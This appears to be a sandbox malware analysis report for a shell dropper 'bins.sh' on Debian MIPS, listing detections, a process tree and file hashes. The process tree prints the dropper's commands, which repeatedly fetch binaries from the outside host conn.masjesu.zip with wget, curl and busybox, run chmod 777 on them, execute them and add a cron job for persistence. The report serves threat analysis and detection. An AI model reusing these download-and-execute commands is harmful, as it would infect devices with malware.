Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/11/2024, 08:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241122-kcemwstlbl
  • SHA256 7a86a2ccec92de02fdf06d3ca7477e30370782b4d90be12c0c8c9f39b0d2405c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1342) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 38 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:698
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:700
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:715
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /bin/chmod
          chmod 777 XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
          2⤵
          • File and Directory Permissions Modification
          PID:724
        • /tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
          ./XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
          2⤵
          • Executes dropped EXE
          PID:725
        • /bin/rm
          rm XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
          2⤵
            PID:727
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:728
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:729
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:731
          • /bin/chmod
            chmod 777 QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
            2⤵
            • File and Directory Permissions Modification
            PID:732
          • /tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
            ./QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
            2⤵
            • Executes dropped EXE
            PID:733
          • /bin/rm
            rm QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
            2⤵
              PID:735
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:736
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:737
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:745
            • /bin/chmod
              chmod 777 taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
              2⤵
              • File and Directory Permissions Modification
              PID:749
            • /tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
              ./taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
              2⤵
              • Executes dropped EXE
              PID:750
            • /bin/rm
              rm taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
              2⤵
                PID:754
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:755
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:762
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                ./1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                2⤵
                • Executes dropped EXE
                PID:776
              • /bin/rm
                rm 1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                2⤵
                  PID:780
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:781
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:794
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:802
                • /bin/chmod
                  chmod 777 MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:804
                • /tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                  ./MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                  2⤵
                  • Executes dropped EXE
                  PID:805
                • /bin/rm
                  rm MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                  2⤵
                    PID:807
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:809
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:811
                  • /bin/chmod
                    chmod 777 h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                    2⤵
                    • File and Directory Permissions Modification
                    PID:812
                  • /tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                    ./h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:813
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:815
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:816
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:817
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:818
                        • /bin/rm
                          rm h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                          2⤵
                            PID:820
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                            2⤵
                            • System Network Configuration Discovery
                            PID:823
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                            2⤵
                            • System Network Configuration Discovery
                            PID:912
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:917
                          • /bin/chmod
                            chmod 777 OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                            2⤵
                            • File and Directory Permissions Modification
                            PID:918
                          • /tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                            ./OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                            2⤵
                            • Executes dropped EXE
                            PID:919
                          • /bin/rm
                            rm OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                            2⤵
                              PID:921
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                              2⤵
                              • System Network Configuration Discovery
                              PID:922
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                              2⤵
                              • System Network Configuration Discovery
                              PID:923
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:928
                            • /bin/chmod
                              chmod 777 j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                              2⤵
                              • File and Directory Permissions Modification
                              PID:929
                            • /tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                              ./j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                              2⤵
                              • Executes dropped EXE
                              PID:930
                            • /bin/rm
                              rm j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                              2⤵
                                PID:932
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                2⤵
                                • System Network Configuration Discovery
                                PID:933
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                2⤵
                                • System Network Configuration Discovery
                                PID:934
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:935
                              • /bin/chmod
                                chmod 777 Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                2⤵
                                • File and Directory Permissions Modification
                                PID:937
                              • /tmp/Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                ./Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                2⤵
                                • Executes dropped EXE
                                PID:938
                              • /bin/rm
                                rm Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                2⤵
                                  PID:952
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:953
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:959
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:960
                                • /bin/chmod
                                  chmod 777 ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:962
                                • /tmp/ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                  ./ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                  2⤵
                                  • Executes dropped EXE
                                  PID:963
                                • /bin/rm
                                  rm ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                  2⤵
                                    PID:965
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:966
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:975
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:976
                                  • /bin/chmod
                                    chmod 777 JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:989
                                  • /tmp/JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                    ./JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                    2⤵
                                    • Executes dropped EXE
                                    PID:990
                                  • /bin/rm
                                    rm JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                    2⤵
                                      PID:994
                                    • /usr/bin/wget
                                      wget http://conn.masjesu.zip/bins/EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:996
                                    • /usr/bin/curl
                                      curl -O http://conn.masjesu.zip/bins/EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:1001
                                    • /bin/busybox
                                      /bin/busybox wget http://conn.masjesu.zip/bins/EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                      2⤵
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:1003
                                    • /bin/chmod
                                      chmod 777 EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1013
                                    • /tmp/EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                      ./EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1015
                                    • /bin/rm
                                      rm EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                      2⤵
                                        PID:1018
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/EPV5eCMkV7gWr4sTO4lHpDLyTrsParLcVo
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:1019
                                      • /usr/bin/curl
                                        curl -O http://conn.masjesu.zip/bins/EPV5eCMkV7gWr4sTO4lHpDLyTrsParLcVo
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:1022

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1

                                          • Path /tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97

                                          • Path /tmp/ChifHcptaOHkTjeY3UglXxmVNTmCCDvJ97
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX

                                          • Path /tmp/EKbPXy8vkr0NljXkzO7ANRyDOf17hnZ4bX
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS

                                          • Path /tmp/JWbws0Itfr7WmMWAYcmIuExrrr0dEHQSPS
                                          • Size 98KB
                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc

                                          • Path /tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS

                                          • Path /tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
                                          • Size 111KB
                                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                          • MD5 SHA1 SHA512 SSDEEP

                                          QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2

                                          • Path /tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP

                                          Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq

                                          • Path /tmp/Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
                                          • Size 107KB
                                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                          • MD5 SHA1 SHA512 SSDEEP

                                          XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk

                                          • Path /tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
                                          • Size 122KB
                                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                          • MD5 SHA1 SHA512 SSDEEP

                                          h6lLungFudWQIGZei2atCQ6dkTYYteA9w7

                                          • Path /tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n

                                          • Path /tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
                                          • Size 151KB
                                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                          • MD5 SHA1 SHA512 SSDEEP

                                          taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU

                                          • Path /tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.N6hZuY

                                          • Path /var/spool/cron/crontabs/tmp.N6hZuY
                                          • Size 210B
                                          • SHA256 343167ce5d3c888c6d3f2bd0b5fdca8ab4db702b37d5c3f5f8f1ddf490b7358c
                                          • MD5 SHA1 SHA512